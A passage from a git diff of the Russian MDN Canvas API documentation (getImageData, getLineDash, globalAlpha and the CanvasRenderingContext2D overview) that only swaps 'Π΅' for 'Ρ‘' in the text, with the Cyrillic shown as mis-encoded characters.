+ <dd>ΠšΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π° yΒ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ Π»Π΅Π²ΠΎΠ³ΠΎ ΡƒΠ³Π»Π° ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°,Β ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·Π²Π»Π΅Ρ‡Ρ‘Π½ ImageData.</dd>
<dt><code>sw</code></dt>
- <dd>Π¨ΠΈΡ€ΠΈΠ½Π° ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°, ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½Β ImageData.</dd>
+ <dd>Π¨ΠΈΡ€ΠΈΠ½Π° ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°, ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·Π²Π»Π΅Ρ‡Ρ‘Π½Β ImageData.</dd>
<dt><code>sh</code></dt>
- <dd>Высота ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°, ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ ImageData.</dd>
+ <dd>Высота ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°, ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·Π²Π»Π΅Ρ‡Ρ‘Π½ ImageData.</dd>
</dl>
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/getlinedash/index.html b/files/ru/web/api/canvasrenderingcontext2d/getlinedash/index.html
index ec3adafad1..59559fe3cb 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/getlinedash/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/getlinedash/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/CanvasRenderingContext2D/getLineDash
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
-<p>{{jsxref("Array")}} (массив) чисСл ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‚ расстояния рисования Π»ΠΈΠ½ΠΈΠΉ ΠΈ Ρ€Π°Π·Ρ€Ρ‹Π²ΠΎΠ² (Π² Π΅Π΄ΠΈΠ½ΠΈΡ†Π°Ρ… пространства ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚). Если число Π·Π°Π΄Π°Π½Π½Ρ‹Ρ… элСмСнтов Π½Π΅Ρ‡Π΅Ρ‚Π½ΠΎΠ΅, Ρ‚ΠΎ Π·Π°Π΄Π°Π½Π½Ρ‹Π΅ элСмСнты массива ΠΊΠΎΠΏΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΠΈ ΡΡƒΠΌΠΌΠΈΡ€ΡƒΡŽΡ‚ΡΡ. НапримСр, установив ΡˆΡ‚Ρ€ΠΈΡ…ΠΈ Π»ΠΈΠ½ΠΈΠΈ ΠΊΠ°ΠΊ <code>[5, 15, 25]</code>Β Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ <code>[5, 15, 25, 5, 15, 25]</code>.</p>
+<p>{{jsxref("Array")}} (массив) чисСл ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‚ расстояния рисования Π»ΠΈΠ½ΠΈΠΉ ΠΈ Ρ€Π°Π·Ρ€Ρ‹Π²ΠΎΠ² (Π² Π΅Π΄ΠΈΠ½ΠΈΡ†Π°Ρ… пространства ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚). Если число Π·Π°Π΄Π°Π½Π½Ρ‹Ρ… элСмСнтов Π½Π΅Ρ‡Ρ‘Ρ‚Π½ΠΎΠ΅, Ρ‚ΠΎ Π·Π°Π΄Π°Π½Π½Ρ‹Π΅ элСмСнты массива ΠΊΠΎΠΏΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΠΈ ΡΡƒΠΌΠΌΠΈΡ€ΡƒΡŽΡ‚ΡΡ. НапримСр, установив ΡˆΡ‚Ρ€ΠΈΡ…ΠΈ Π»ΠΈΠ½ΠΈΠΈ ΠΊΠ°ΠΊ <code>[5, 15, 25]</code>Β Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ <code>[5, 15, 25, 5, 15, 25]</code>.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/globalalpha/index.html b/files/ru/web/api/canvasrenderingcontext2d/globalalpha/index.html
index f9ec551915..f2a0e38c0e 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/globalalpha/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/globalalpha/index.html
@@ -62,7 +62,7 @@ ctx.fillRect(50, 50, 100, 100);
<h3 id="НалоТСниС_ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹Ρ…_Ρ„ΠΈΠ³ΡƒΡ€">НалоТСниС ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹Ρ… Ρ„ΠΈΠ³ΡƒΡ€</h3>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ дСмонстрируСт эффСкт налоТСния Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹Ρ… Ρ„ΠΈΠ³ΡƒΡ€ Π΄Ρ€ΡƒΠ³ Π½Π° Π΄Ρ€ΡƒΠ³Π°.Β ΠœΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ с отрисовки Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΠ³ΠΎ Ρ„ΠΎΠ½Π°, состоящСго ΠΈΠ· Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… Ρ€Π°Π·Π½ΠΎΡ†Π²Π΅Ρ‚Π½Ρ‹Ρ… ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ΠΎΠ².Β Π”Π°Π»Π΅Π΅ ΠΌΡ‹ устанавливаСм свойство <code>globalAlpha</code>Β Ρ€Π°Π²Π½ΠΎΠ΅Β <code>0.2</code> (20% прозрачности); Π£Ρ€ΠΎΠ²Π΅Π½ΡŒ прозрачности Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ ΠΊΠΎ всСм ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΌ Ρ„ΠΈΠ³ΡƒΡ€Π°ΠΌ. Π—Π°Ρ‚Π΅ΠΌΒ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Ρ†ΠΈΠΊΠ»Β <code>for</code> для отрисовки Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΊΡ€ΡƒΠ³ΠΎΠ² с ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΠΌΠΈΡΡ радиусами.</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ дСмонстрируСт эффСкт налоТСния Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹Ρ… Ρ„ΠΈΠ³ΡƒΡ€ Π΄Ρ€ΡƒΠ³ Π½Π° Π΄Ρ€ΡƒΠ³Π°.Β ΠœΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ с отрисовки Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΠ³ΠΎ Ρ„ΠΎΠ½Π°, состоящСго ΠΈΠ· Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… Ρ€Π°Π·Π½ΠΎΡ†Π²Π΅Ρ‚Π½Ρ‹Ρ… ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ΠΎΠ².Β Π”Π°Π»Π΅Π΅ ΠΌΡ‹ устанавливаСм свойство <code>globalAlpha</code>Β Ρ€Π°Π²Π½ΠΎΠ΅Β <code>0.2</code> (20% прозрачности); Π£Ρ€ΠΎΠ²Π΅Π½ΡŒ прозрачности Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ ΠΊΠΎ всСм ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΌ Ρ„ΠΈΠ³ΡƒΡ€Π°ΠΌ. Π—Π°Ρ‚Π΅ΠΌΒ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Ρ†ΠΈΠΊΠ»Β <code>for</code> для отрисовки Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΊΡ€ΡƒΠ³ΠΎΠ² с ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΠΌΠΈΡΡ радиусами.</p>
<p>Для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΊΡ€ΡƒΠ³Π° ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ ΠΊΡ€ΡƒΠ³ΠΎΠ², находящихся под Π½ΠΈΠΌ,Β  ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Π΅Ρ‚ΡΡ. Если Π²Ρ‹ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚Π΅ количСство шагов, Ρ‚Π΅ΠΌ самым ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ² количСство ΠΊΡ€ΡƒΠ³ΠΎΠ², Ρ„ΠΎΠ½ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ исчСзнСт Π² цСнтрС изобраТСния.</p>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/index.html b/files/ru/web/api/canvasrenderingcontext2d/index.html
index ba7e559918..149f72ee66 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/index.html
@@ -37,7 +37,7 @@ ctx.fillRect(10, 10, 55, 50);
<dl>
<dt>{{domxref("CanvasRenderingContext2D.clearRect()")}}</dt>
- <dd>Для всСх пиксСлСй, находящихся Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ <em>(x, y)</em> ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌΠΈ <em>(ΡˆΠΈΡ€ΠΈΠ½Π°, высота),</em> устанавливаСт Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚, стирая любоС Ρ€Π°Π½Π΅Π΅ нарисованноС содСрТимоС.</dd>
+ <dd>Для всСх пиксСлСй, находящихся Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ <em>(x, y)</em> ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌΠΈ <em>(ΡˆΠΈΡ€ΠΈΠ½Π°, высота),</em> устанавливаСт Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚, стирая любоС Ρ€Π°Π½Π΅Π΅ нарисованноС содСрТимоС.</dd>
<dt>{{domxref("CanvasRenderingContext2D.fillRect()")}}</dt>
<dd>РисуСт Π·Π°Π»ΠΈΡ‚Ρ‹ΠΉ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ Π² ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ <em>(x, y)</em>, Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ <em>width</em> ΠΈ высотой <em>height</em>.</dd>
<dt>{{domxref("CanvasRenderingContext2D.strokeRect()")}}</dt>
@@ -71,7 +71,7 @@ ctx.fillRect(10, 10, 55, 50);
<dt>{{domxref("CanvasRenderingContext2D.miterLimit")}}</dt>
<dd>ΠžΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ Π΄Π»ΠΈΠ½Ρ‹ сопряТСний. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ <code>10</code>.</dd>
<dt>{{domxref("CanvasRenderingContext2D.getLineDash()")}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½ ΡˆΡ‚Ρ€ΠΈΡ…ΠΎΠ²ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдставляСт собой массив, состоящий ΠΈΠ· Ρ‡Π΅Ρ‚Π½ΠΎΠ³ΠΎ количСства Π½Π΅ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… чисСл.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½ ΡˆΡ‚Ρ€ΠΈΡ…ΠΎΠ²ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдставляСт собой массив, состоящий ΠΈΠ· Ρ‡Ρ‘Ρ‚Π½ΠΎΠ³ΠΎ количСства Π½Π΅ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… чисСл.</dd>
<dt>{{domxref("CanvasRenderingContext2D.setLineDash()")}}</dt>
<dd>УстанавливаСт Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½ ΡˆΡ‚Ρ€ΠΈΡ…ΠΎΠ²ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ.</dd>
<dt>{{domxref("CanvasRenderingContext2D.lineDashOffset")}}</dt>
@@ -99,20 +99,20 @@ ctx.fillRect(10, 10, 55, 50);
<dl>
<dt>{{domxref("CanvasRenderingContext2D.fillStyle")}}</dt>
- <dd>Π¦Π²Π΅Ρ‚ ΠΈΠ»ΠΈ ΡΡ‚ΠΈΠ»ΡŒ примСняСмый Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΠΎΡ€ΠΌ. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ #000 (Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ).</dd>
+ <dd>Π¦Π²Π΅Ρ‚ ΠΈΠ»ΠΈ ΡΡ‚ΠΈΠ»ΡŒ примСняСмый Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΠΎΡ€ΠΌ. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ #000 (Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ).</dd>
<dt>{{domxref("CanvasRenderingContext2D.strokeStyle")}}</dt>
- <dd>Π¦Π²Π΅Ρ‚ ΠΈΠ»ΠΈ ΡΡ‚ΠΈΠ»ΡŒ , примСняСмый ΠΊ линиям Π²ΠΎΠΊΡ€ΡƒΠ³ Ρ„ΠΎΡ€ΠΌΡ‹. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ #000 (Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ).</dd>
+ <dd>Π¦Π²Π΅Ρ‚ ΠΈΠ»ΠΈ ΡΡ‚ΠΈΠ»ΡŒ , примСняСмый ΠΊ линиям Π²ΠΎΠΊΡ€ΡƒΠ³ Ρ„ΠΎΡ€ΠΌΡ‹. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ #000 (Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ).</dd>
</dl>
<h2 id="Π“Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Ρ‹_ΠΈ_ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹">Π“Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Ρ‹ ΠΈ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹</h2>
<dl>
<dt>{{domxref("CanvasRenderingContext2D.createLinearGradient()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ вдоль Π»ΠΈΠ½ΠΈΠΈ, Π·Π°Π΄Π°Π²Π°Π΅ΠΌΠΎΠΉ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π°ΠΌΠΈ, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹ΠΌΠΈ Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ вдоль Π»ΠΈΠ½ΠΈΠΈ, Π·Π°Π΄Π°Π²Π°Π΅ΠΌΠΎΠΉ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π°ΠΌΠΈ, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹ΠΌΠΈ Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°.</dd>
<dt>{{domxref("CanvasRenderingContext2D.createRadialGradient()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Ρ€Π°Π΄ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚, Π·Π°Π΄Π°Π²Π°Π΅ΠΌΡ‹ΠΉ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π°ΠΌΠΈ Π΄Π²ΡƒΡ… окруТностСй, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹ΠΌΠΈ Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Ρ€Π°Π΄ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚, Π·Π°Π΄Π°Π²Π°Π΅ΠΌΡ‹ΠΉ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π°ΠΌΠΈ Π΄Π²ΡƒΡ… окруТностСй, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹ΠΌΠΈ Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°.</dd>
<dt>{{domxref("CanvasRenderingContext2D.createPattern()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ шаблон, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ({{domxref("CanvasImageSource")}}). Он повторяСт исходноС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² направлСниях, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π΅. Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("CanvasPattern")}}.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ шаблон, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ({{domxref("CanvasImageSource")}}). Он повторяСт исходноС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² направлСниях, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π΅. Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("CanvasPattern")}}.</dd>
</dl>
<h2 id="Π’Π΅Π½ΠΈ">Π’Π΅Π½ΠΈ</h2>
@@ -134,7 +134,7 @@ ctx.fillRect(10, 10, 55, 50);
<dl>
<dt>{{domxref("CanvasRenderingContext2D.beginPath()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ пустой ΠΊΠΎΠ½Ρ‚ΡƒΡ€, обнуляя список Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π°. Π’Ρ‹Π·ΠΎΠ²ΠΈΡ‚Π΅ этот ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΠ³Π΄Π° Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚ΡƒΡ€.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ пустой ΠΊΠΎΠ½Ρ‚ΡƒΡ€, обнуляя список Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π°. Π’Ρ‹Π·ΠΎΠ²ΠΈΡ‚Π΅ этот ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΠ³Π΄Π° Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚ΡƒΡ€.</dd>
<dt>{{domxref("CanvasRenderingContext2D.closePath()")}}</dt>
<dd>ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅Ρ‚ Ρ‚ΠΎΡ‡ΠΊΡƒ рисования Π½Π°Π·Π°Π΄ ΠΊ Π½Π°Ρ‡Π°Π»Ρƒ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π° ΠΊΠΎΠ½Ρ‚ΡƒΡ€Π°. Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ пытаСтся провСсти ΠΏΡ€ΡΠΌΡƒΡŽ линию ΠΎΡ‚ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ Π΄ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ. Если Ρ„ΠΎΡ€ΠΌΠ° ΡƒΠΆΠ΅ Π·Π°ΠΊΡ€Ρ‹Ρ‚Π° ΠΈΠ»ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½Ρƒ Ρ‚ΠΎΡ‡ΠΊΡƒ, ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚.</dd>
<dt>{{domxref("CanvasRenderingContext2D.moveTo()")}}</dt>
@@ -152,7 +152,7 @@ ctx.fillRect(10, 10, 55, 50);
<dt>{{domxref("CanvasRenderingContext2D.ellipse()")}} {{experimental_inline}}</dt>
<dd>ДобавляСт ΠΊ ΠΊΠΎΠ½Ρ‚ΡƒΡ€Ρƒ эллипс, с Ρ†Π΅Π½Ρ‚Ρ€ΠΎΠΌ Π² Ρ‚ΠΎΡ‡ΠΊΠ΅ <em>(x, y)</em>, Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ радиусами <em>radiusX</em> ΠΈ <em>radiusY</em>, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΉ ΡƒΠ³ΠΎΠ» Π½Π°Ρ‡Π°Π»Π° <em>startAngle</em> ΠΈ ΠΊΠΎΠ½Ρ†Π° <em>endAngle</em>, Ρ€ΠΈΡΡƒΡŽΡ‰ΠΈΠΉΡΡ Π² Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ, Π·Π°Π΄Π°Π½Π½ΠΎΠΌ Π² Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π΅Β <em>anticlockwise</em> (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ - ΠΏΠΎ часовой стрСлкС).</dd>
<dt>{{domxref("CanvasRenderingContext2D.rect()")}}</dt>
